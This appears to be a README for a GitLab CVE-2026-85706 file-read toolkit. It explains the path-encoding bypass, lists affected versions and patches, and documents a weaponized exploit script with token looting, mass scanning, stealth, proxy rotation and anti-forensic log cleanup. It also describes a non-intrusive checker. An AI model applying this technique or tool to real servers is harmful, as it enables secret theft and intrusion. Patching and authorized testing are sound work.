CVE‑2026‑85706 – GitLab Unauthenticated File Read Toolkit

⚠️ ETHICAL USE ONLY – AUTHORIZED SECURITY TESTING
This repository provides tools for authorized security professionals, blue teams, and penetration testers only.
Unauthorized access to computer systems is illegal under CFAA (US), Computer Misuse Act (UK), TCK 243/244 (Turkey), and similar laws worldwide.

---

📖 Vulnerability Overview

CVE‑2026‑85706 is a critical unauthenticated arbitrary local file read vulnerability in self-managed GitLab CE/EE (versions 18.7 through 19.3.1) that allows an unauthenticated attacker to read any file on the server via a single HTTP request to the commits API.

How it works

1. Workhorse vs. Puma parsing mismatch – GitLab Workhorse validates the request path before percent‑decoding, while Puma/Rails decodes it after. This allows bypassing Workhorse's security checks using encoded characters like %63ommits.
2. Pre-auth file open – the /api/v4/projects/{id}/repository/commits endpoint opens the file specified in file.path before authentication is enforced.
3. Content echo via error – if the file contains an invalid %-sequence, Rack echoes the content in a 400 Bad Request body, leaking the full content.
4. Impact – secrets, tokens, SSH keys, CI/CD variables, database credentials, and lateral movement into the GitLab infrastructure. Upgrade immediately!

Affected Versions

• 18.7.0 – 19.1.7 – vulnerable
• 19.2.0 – 19.2.5 – vulnerable
• 19.3.0 – 19.3.1 – vulnerable

Patch

• Upgrade to 19.1.8, 19.2.6, or 19.3.2 or newer.
• If upgrade is not possible, restrict network access to GitLab (never expose it to the internet) and rotate all tokens/secrets as a temporary workaround.

---

🧰 Tools

Tool	Purpose	Intended User
exploit.py	Full weaponized toolkit with unauthenticated file read, loot enumeration, admin token extraction, mass scanning, interactive shell, proxy rotation, stealth mode, and multi-format reporting.	Red teams / authorized pentesters
safechecker.py	Non‑intrusive vulnerability checker that detects GitLab version, validates exposure, audits security headers, and assesses risk without reading any file. Generates JSON/CSV/HTML reports.	Blue teams / security auditors

---

📊 Feature Comparison

Feature	exploit.py	safechecker.py
Vulnerability detection	✅	✅
Version detection	✅	✅
Unauthenticated file read	✅	❌
Loot enumeration	✅	❌
Admin token extraction	✅	❌
Interactive shell	✅	❌
Mass scanning (multi‑thread)	✅	✅
Security headers audit	❌	✅
TLS/certificate check	❌	✅
MITRE ATT&CK mapping	✅	✅
Proxy support	✅	✅
Proxy rotation	✅	❌
User‑Agent rotation (OPSEC)	✅	❌
Jitter / delay (OPSEC)	✅	❌
Adaptive rate limiter	✅	✅
Stealth mode	✅	❌
curl_cffi TLS impersonation	✅	❌
Non‑intrusive (safe) mode	❌	✅
JSON / JSONL / CSV / HTML output	✅	✅
SQLite DB output	✅	❌
Webhook notification	✅	✅
Diff against previous scan	✅	✅
Log cleanup (anti‑forensic)	✅	❌
Custom User‑Agent	✅	✅
SSL verification control	✅	✅

---

🎯 Use Case Summary

Scenario	Recommended Tool
Blue Team – verifying if your GitLab is vulnerable	safechecker.py
Security Audit – non‑intrusive vulnerability assessment	safechecker.py
Red Team – authorized penetration testing with full exploitation	exploit.py
Bug Bounty – responsible disclosure testing	safechecker.py
Mass Scanning – checking multiple targets for vulnerability	exploit.py (detect‑only)
Incident Response – checking if systems are compromised	safechecker.py

---

⚙️ Installation

git clone https://github.com/tc4dy/CVE-2026-85706-PoC-Toolkit
cd CVE-2026-85706-PoC-Toolkit
pip install -r requirements.txt

requirements.txt

requests
urllib3
curl_cffi
rich
pyyaml

📋 Parameters

exploit.py Parameters

Parameter	Description
-u, --url	Single target URL (e.g. https://gitlab.example.com)
-f, --file	File containing list of targets (one per line)
--pipe	Read targets from stdin (subfinder/httpx pipeline)
--read	Absolute path(s) to read, comma-separated
--wordlist	File with paths to read (one per line)
--project-id	Force a specific project ID
--max-projects	Max project IDs to try (default: 8)
--auto	Loot high-value GitLab files automatically
--loot	Same as --auto
--shell	Interactive shell after exploitation
--force	Scan even if GitLab fingerprint is weak
-t, --threads	Threads for multi‑target (default: 8)
--timeout	HTTP timeout (default: 15s)
--retry	Retry count (default: 3)
--retry-on	HTTP codes to retry (default: 429,500,502,503,504)
--proxy	HTTP/HTTPS proxy
--proxy-list	File with proxies for rotation
--proxy-rotate	Rotation strategy: round-robin, random, sticky
--jitter	Add random jitter between requests
--jitter-range	Jitter min,max seconds (default: 0.1,2.0)
--delay	Fixed delay between requests
--stealth	Enable stealth mode (UA rotation + X-Forwarded-For)
--curl-cffi	Use curl_cffi for TLS fingerprint impersonation
--user-agent-file	File with User-Agent strings
--max-body	Max response body size (0 = unlimited)
--concurrent-per-host	Max concurrent requests per host
--rate-limit	Max requests per second (0 = unlimited)
--exclude	Comma-separated hosts to exclude (glob patterns)
--grep	Only show leaks matching regex
--resume	Resume from state file
--notify	Notification URL (slack:, discord:, telegram:)
--db	Save results to SQLite database
--output-format	Output format: json, jsonl, csv, html
-o, --output	Output file path
-v, --verbose	Verbose output
-q, --quiet	Quiet mode
--no-color	Disable colors
--no-banner	No banner
--config	YAML/JSON config file
--dry-run	Show plan without making requests
--safe-mode	Only read /etc/hostname to verify
--timeout-profile	aggressive, normal, stealth
--mitre	Include MITRE ATT&CK mapping
--fingerprint	Detailed GitLab fingerprint
--cve-check	Check for related CVEs
--json-schema	Output with JSON schema for SIEM
--progress	Show progress bar (requires rich)

safechecker.py Parameters